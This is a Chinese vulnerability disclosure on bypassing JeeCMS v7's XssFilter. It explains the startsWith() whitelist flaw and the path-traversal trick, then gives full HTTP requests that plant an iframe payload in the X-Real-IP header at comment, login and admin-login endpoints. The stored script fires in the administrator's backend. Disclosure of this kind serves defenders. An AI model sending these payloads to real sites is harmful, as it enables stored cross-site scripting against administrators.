### 简要描述:
自带的XssFilter绕过。
### 详细说明:
在官网下载最新的jeecmsV7
```
http://**.**.**.**/fabu/41667.jhtml
```
其中的web.xml中配置了XssFilter如下:
```
<filter>
<filter-name>XssFilter</filter-name>
<filter-class>**.**.**.**mon.web.XssFilter</filter-class>
<init-param>
<param-name>excludeUrls</param-name>
<param-value>/member/contribute@/jeeadmin/jeecms@/flow_statistic</param-value>
</init-param>
<init-param>
<param-name>SplitChar</param-name>
<param-value>@</param-value>
</init-param>
<init-param>
<param-name>FilterChar</param-name>
<param-value>'@"@\@#@:@%@></param-value>
</init-param>
<init-param>
<param-name>ReplaceChar</param-name>
<param-value>‘@“@\@#@:@%@></param-value>
</init-param>
</filter>
```
在**.**.**.**mon.web.XssFilter中代码如下:
```
public class XssFilter implements Filter {
private String filterChar;
private String replaceChar;
private String splitChar;
private String excludeUrls;
FilterConfig filterConfig = null;
public void init(FilterConfig filterConfig) throws ServletException {
this.filterChar=filterConfig.getInitParameter("FilterChar");
this.replaceChar=filterConfig.getInitParameter("ReplaceChar");
this.splitChar=filterConfig.getInitParameter("SplitChar");
this.excludeUrls=filterConfig.getInitParameter("excludeUrls");
this.filterConfig = filterConfig;
}
public void destroy() {
this.filterConfig = null;
}
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {
if(isExcludeUrl(request)){
chain.doFilter(request, response);
}else{
chain.doFilter(new XssHttpServletRequestWrapper((HttpServletRequest) request,filterChar,replaceChar,splitChar), response);
}
}
private boolean isExcludeUrl(ServletRequest request){
boolean exclude=false;
if(StringUtils.isNotBlank(excludeUrls)){
String[]excludeUrl=excludeUrls.split(splitChar);
if(excludeUrl!=null&&excludeUrl.length>0){
for(String url:excludeUrl){
if(URLHelper.getURI((HttpServletRequest)request).startsWith(url)){
exclude=true;
}
}
}
}
return exclude;
}
}
```
注意其中的isExcludeUrl(ServletRequest request)方法,isExcludeUrl()用于排除web.xml中定义的URL(即白名单,XssFilter不检查web.xml定义页面中的XSS字符)如下(以@分割):
```
<init-param>
<param-name>excludeUrls</param-name>
<param-value>/member/contribute@/jeeadmin/jeecms@/flow_statistic</param-value>
</init-param>
```
在具体实现xss白名单的的时候使用的是startsWith():
```
if(URLHelper.getURI((HttpServletRequest)request).startsWith(url)){
exclude=true;
}
```
即URI目录以以下字符开头即可绕过XssFilter的检查:
```
/member/contribute
/jeeadmin/jeecms
/flow_statistic
```
再来看
RequestUtils.java中的getIpAddr(HttpServletRequest request)方法:
```
public static String getIpAddr(HttpServletRequest request) {
String ip = request.getHeader("X-Real-IP");
if (!StringUtils.isBlank(ip) && !"unknown".equalsIgnoreCase(ip)) {
return ip;
}
ip = request.getHeader("X-Forwarded-For");
if (!StringUtils.isBlank(ip) && !"unknown".equalsIgnoreCase(ip)) {
// 多次反向代理后会有多个IP值,第一个为真实IP。
int index = ip.indexOf(',');
if (index != -1) {
return ip.substring(0, index);
} else {
return ip;
}
} else {
return request.getRemoteAddr();
}
}
```
此方法用于获取ip地址,可以从以下两个HTTP头中获取:
```
X-Real-IP
X-Forwarded-For
```
getIpAddr(HttpServletRequest request)在CommentAct.java中被调用:
```
@RequestMapping(value = "/comment.jspx", method = RequestMethod.POST)
public void submit(Integer contentId, Integer score,String text, String captcha,
HttpServletRequest request, HttpServletResponse response,
ModelMap model) throws JSONException {
……
cmsCommentM**.**.**.**ment(score,text, RequestUtils.getIpAddr(request),
contentId, site.getId(), userId, checked, false);
json.put("success", true);
json.put("status", 0);
}
ResponseUtils.renderJson(response, json.toString());
}
```
通过cmsCommentM**.**.**.**ment()直接把IP地址RequestUtils.getIpAddr(request)写入到数据库,首先是正常的在前台文章进行评论,抓包写入HTTP头:
[<img src="https://images.seebug.org/upload/201603/070031187b696f6c364e016930a2f2ddd818716e.png" alt="5.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201603/070031187b696f6c364e016930a2f2ddd818716e.png)
在后台查看可以看到>符号被替换为>:
[<img src="https://images.seebug.org/upload/201603/07003157a938932112a40f4fb3d014c53b251e85.png" alt="6.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201603/07003157a938932112a40f4fb3d014c53b251e85.png)
下面来开始绕过,前台评论:
[<img src="https://images.seebug.org/upload/201603/06221440944e7ca9903931647424368e7761cbe7.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201603/06221440944e7ca9903931647424368e7761cbe7.png)
抓包拦截,将URL修改为以/jeeadmin/jeecms/开头:
```
/jeeadmin/jeecms/../../comment.jspx
```
添加获取IP的HTTP头:
```
X-Real-IP: <iframe src=http://**.**.**.**></iframe>
```
整个包如下:
```
POST /jeeadmin/jeecms/../../comment.jspx HTTP/1.1
Host: **.**.**.**:8080
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Real-IP: <iframe src=http://**.**.**.**></iframe>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://**.**.**.**:8080/gnxw/587.jhtml
Content-Length: 85
Cookie: JSESSIONID=DC196DF35057163936FA768EA9426CC5; clientlanguage=zh_CN; pgv_pvid=6516730796; _site_id_cookie=1
Connection: keep-alive
text=testabc&captcha=xpxq&contentId=587&Submit=+%E9%A9%AC%E4%B8%8A%E5%8F%91%E8%A1%A8+
```
当管理员在后台审核评论时即可触发跨站,如下图:
[<img src="https://images.seebug.org/upload/201603/06221835766406b487b0f6062e5c473e56676435.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201603/06221835766406b487b0f6062e5c473e56676435.png)
RequestUtils.getIpAddr(request)还在登录时被调用了,前台登录:
```
POST /jeeadmin/jeecms/../../login.jspx HTTP/1.1
Host: **.**.**.**:8080
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Real-IP: <iframe src=http://**.**.**.**></iframe>
Referer: http://**.**.**.**:8080/login.jspx?returnUrl=/
Cookie: JSESSIONID=E83E40D41B18500DEC0DB3C1EFD1A749; clientlanguage=zh_CN; pgv_pvid=6516730796; _site_id_cookie=1; __qc_wId=506
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
returnUrl=%2F&username=xxooxx1&password=111111&captcha=dupa
```
登录成功后,管理员在后台点击用户模块即可触发跨站:
[<img src="https://images.seebug.org/upload/201603/062224300f211979e6d5904baa3ea6903b7383f4.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201603/062224300f211979e6d5904baa3ea6903b7383f4.png)
RequestUtils.getIpAddr(request),后台登录调用:
```
POST /jeeadmin/jeecms/login.do HTTP/1.1
Host: **.**.**.**:8080
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Real-IP: <iframe src=http://**.**.**.**></iframe>
Referer: **.**.**.**:8080/jeeadmin/jeecms/login.do
Cookie: pgv_pvid=1466705356; tm_last_login_uid=postmaster; tm_last_login_domain=root; tm_ibc=0; JSESSIONID=38DA86D43D85C0174FB6B08D407973A4; clientlanguage=zh_CN; _site_id_cookie=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 58
username=aaaaaaa&password=aaaaaaaa&submit.x=21&submit.y=10
```
管理员在后台查看登录失败日志即可触发跨站:
[<img src="https://images.seebug.org/upload/201603/06222745d9493bc305af8f13e5f4b8510b263bb5.png" alt="4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201603/06222745d9493bc305af8f13e5f4b8510b263bb5.png)
### 漏洞证明:
同上
暂无评论